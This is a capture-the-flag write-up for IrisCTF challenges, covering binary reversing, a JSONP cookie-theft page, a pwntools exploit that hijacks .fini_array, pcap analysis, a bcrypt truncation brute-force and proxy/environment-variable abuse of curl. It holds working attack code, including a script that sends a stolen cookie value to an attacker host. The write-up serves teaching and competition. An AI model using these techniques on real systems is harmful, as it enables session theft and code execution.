___ _ ___ _____ ___ ___ __ ___ ____ |_ _|_ _(_)___/ __|_ _| __| |_ ) \_ )__ / | || '_| (_-< (__ | | | _| / / () / / |_ \ |___|_| |_/__/\___| |_| |_| /___\__/___|___/
I needed to edit some documents for my homework but I don't want to buy a license to this software! Help me out pls?
We are given a binary baby_baby_rev
. Running it gives us a promt to put a "registration code". We need to figure out which code to put to bypass this prompt.
When inspecting the disassembled binary, the first conditional jump we find compares the result of a call to strlen
(rax
) with 0x20. This gives us the first hint: the code is 32 characters long.
Then we can see that, for every character in the input code, the program subtracts a value and adds the index of that character to the result. In the example below (disassembled using Radare2) we can see that it subtracts 0x72 from the second character in the input, then adds 1 (its index):
movzx eax, byte [var_6fh] ; Load character from user input mov edx, eax mov eax, 0x72 sub edx, eax ; Subtracts value from user input mov eax, edx add eax, 1 ; Adds 1 to the result of the subtraction mov byte [var_6fh], al ; Moves the result back to the buffer
Taking a better look at that value being subtracted, it looks like a character. The one from the example is an 'r'. Converting all values to character leaves us with the string "irisctf{microsoft_word_at_home:}". The flag.
For the sake of completion, I'll analyze the rest of the program :).
It then goes on a loop whose condition is to be less than or equals to
mov eax, dword [var_74h] cdqe movzx eax, byte [rbp + rax - 0x70] ; Loads value from buffer movsx eax, al cmp dword [var_74h], eax ; Compares current index with value je 0x1594 ; Continues the loop if successful lea rdi, str.Invalid_code_ call sym.imp.puts ; puts("Invalid code!") mov eax, 1 jmp 0x15bb ; Exits loop add dword [var_74h], 1 ; Increments iterator cmp dword [var_74h], 0x1f ; Beginning of loop jle 0x156f
If it is successful running through the whole loop, it prints a success message and calls abort()
.
JSONP is a old pattern for getting data into JS, but I heard it's insecure because an attacker can specify code instead of a function name. I solved this problem by not letting you change the name.
For this challenge you will need to submit a URL to the admin bot (a program that runs a browser and directs it to visit your URL, simulating a real person clicking your link). I recommend learning how to use ngrok if you don't know how to expose local solutions to the internet - I've also provided a template server using Python and Flask for your solution.
When accessed, the website shows us an example flag. We can see that, to get that flag, the website loads a script from "/api" on the window.onload
event. This script gets the flag from a cookie called secret. It then generates a call to setMessage
with the flag. The setMessage
handler then exhibits the flag on the website by replacing the innerText
from the element with id "message"
with the flag.
We are also given an endpoint from which we can ask a bot to access an arbitrary link. Another great piece of advice that was given to us is that the cookie secret has the attribute SameSite set to None, this allows the cookie to be sent to calls from first-party and third-party websites alike.
With these pieces of information, we can begin to craft our exploit. We want the bot to access our website and, when it does, send us the flag.
We can create a webpage that imports the "/api" script, but instead of the setMessage
handler replacing an element's innerText
, it sends us the flag through an http request:
<script> window.setMessage = (m) => { // Here we use a different page to make the redirect so // that the bot doesn't get stuck in a redirection loop document.location = "https://yourhost.com/asdf?flag=" + m; } window.onload = () => { s = document.createElement("script"); s.src = "https://babycsrf-web.chal.irisc.tf/api"; document.body.appendChild(s); } </script>
Save this as index.html, start an http server (python3 -m http.server
), and expose the server to the internet (ngrok http 8000
). Have the bot access your website and you will have your flag through the http server's logs, like in the example below:
"GET /asdf?flag=irisctf{jsonp_is_never_the_answer} HTTP/1.1" 404
I'll let you seek around my file as far as you want, but you can't go anywhere since it's /dev/null.
To figure out where things are, you can use the
gdb
debugger. I recommend using a Docker instance, such as with the Dockerfile provided, to ensure you have an environment that matches the remote server you are attacking.
The program prints out two addresses: an address to win
(the function we need to call to get the flag), and a pointer to an open file's _IO_write_ptr
. It then lets you add a value to the _IO_write_ptr
before calling fwrite
on the file, writing the address to win
.
Reading a little about _IO_write_ptr
reveals that this variable is responsible for storing the current write address, meaning it will begin writing to this address the next time an fwrite
is called.
We then just need to figure out where to write our win
function so that it executes. For this there are two options: write to .got.plt to overwrite the address of any other function dynamically linked to the program, or write to .fini_array to execute the function at the object's termination process.
To figure the exact address to write, you need to execute the binary and get both addresses. win
's address will allow you to get the absolute address of either the desired entry in .got.plt or the address of .fini_array. _IO_write_ptr
's address allows you to calculate the offset to the desired writing address.
A simple solver in python using pwntools looks like this:
from pwn import * bin = ELF("./chal") p = process(bin.path) # or remote("seek.chal.irisc.tf", 10004) p.readuntil(b"0x") winaddr = int(p.readuntil(b".", True), 16) p.readuntil(b"0x") iowaddr = int(p.readuntil(b".", True), 16) bin.address = winaddr - bin.symbols["win"] finiarr = bin.address + bin.get_section_by_name('.fini_array').header.sh_addr p.sendlineafter(b"? ", b"%d"%(finiarr - iowaddr)) p.stream()
I was going to call this challenge babynet, but I have that baby shark song stuck in my head... doo doo, doo doo doo baby shark...
The challenge provides us with a .pcapng file. In tshark we can see a few DHCP, ARP, and HTTP packets. Let's filter for HTTP only with tshark -r capture.pcapng -Y 'http'
:
113 408.427255072 192.168.56.170 → 192.168.56.169 HTTP 411 GET / HTTP/1.1 116 408.429557546 192.168.56.169 → 192.168.56.170 HTTP 416 HTTP/1.0 200 OK (text/html) 123 408.909355109 192.168.56.170 → 192.168.56.169 HTTP 370 GET /favicon.ico HTTP/1.1 126 408.920334280 192.168.56.169 → 192.168.56.170 HTTP 537 HTTP/1.0 404 File not found (text/html) 133 411.445678672 192.168.56.170 → 192.168.56.169 HTTP 462 GET /babyshark.gif HTTP/1.1 307 411.478026817 192.168.56.169 → 192.168.56.170 HTTP 24250 HTTP/1.0 200 OK (image/gif)
There we can see a request to the home page, a request to favicon.ico, and a request to babyshark.gif. Let's extract both the home page and babyshark.gif
to analyze them. tshark -r capture.pcapng --export-objects http,./
.
Taking a look at babyshark.gif
we get the flag irisctf{welc0m3_t0_n3tw0rks}
.
More byte mean more secure
Although this is a web challenge, the script is ran directly with PHP because it doesn't need to have an HTML website attached. Run the command below to connect!
Reading the php code we see that we have to guess a 64 byte password randomly generated using openssl rand
. The password is stretched (for every character, repeat said character 64 times) so that the final length of the password is 64*64 = 4096 bytes. The stretched password is then hashed using PHP's password_hash
.
We then enter a loop where we can input as many passwords as we want. Our password is verified against the hashed password (meaning we also have to stretch our password).
Reading a little about password_hash something interesting pops up:Caution
Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 bytes.
So the password they stretched 64 times per character got trimmed to only 72 characters, leaving us with two bytes (64 times the first character, plus 8 times the second) to brute-force.
After adding #!/bin/php
to the beginning of the file and giving it execute permission, I got it to work locally. This program then did the trick of cracking the password:
from pwn import * p = process("./chal.php") try: p.readuntil(b"> ") for i in range(0x100): password = ''.join([x*64 for x in "%x"%i]) p.sendline(password.encode()) log.info(f"Got this: {p.recv(timeout=0.5)}") except EOFError: pass
The flag's right there, but I think it's kinda stuck. Please help me.
The challenge gives us three files: the chal.py
which we will be interacting with, the chal_server.py
that serves as an internal web server for queries on data, and chal.sh
that launches both.
On chal.py
we see that the user is in a loop sending input. For every input there are two possible actions: either he reads an environment variable or he writes an environment variable.
On both ocasions, after the input and before anything else the program tries to checks for and print data about the flag, but the problem is that the host that is hard-coded (flag_domain
) is not the host you actually want to access. You'd probably want to access 127.0.0.1
since the web server and the client you are interacting with are running on the same machine.
Having a look at the check()
function we can see that it actually calls curl -s <link>
. We now have to take a look at what environment variables we could use to interfere with the name resolution so as to successfully check the local web server.
Out of all possible environment variables, those that change proxies look the most promising. Time to change any of http_proxy
or ALL_PROXY
to point to 127.0.0.1 and hope for the best:
> 1 Name? http_proxy Value? http://127.0.0.1:25566 > 2 {'flag': 'irisctf{very_helpful_error_message}\n'} Name?
I also tried with localhost. It worked on my machine, but failed. My guess is that the container somehow can't resolve localhost.
I later found out that this was not the intended way. The intended way was to set RESOLV_HOST_CONF to ./flag to cause an error and, when the error message is printed it shows the file content (it being the flag):
> 1 Name? RESOLV_HOST_CONF Value? ./flag > 2 ./flag: line 1: bad command `irisctf{very_helpful_error_message}' Name?
And now the flag makes much more sense...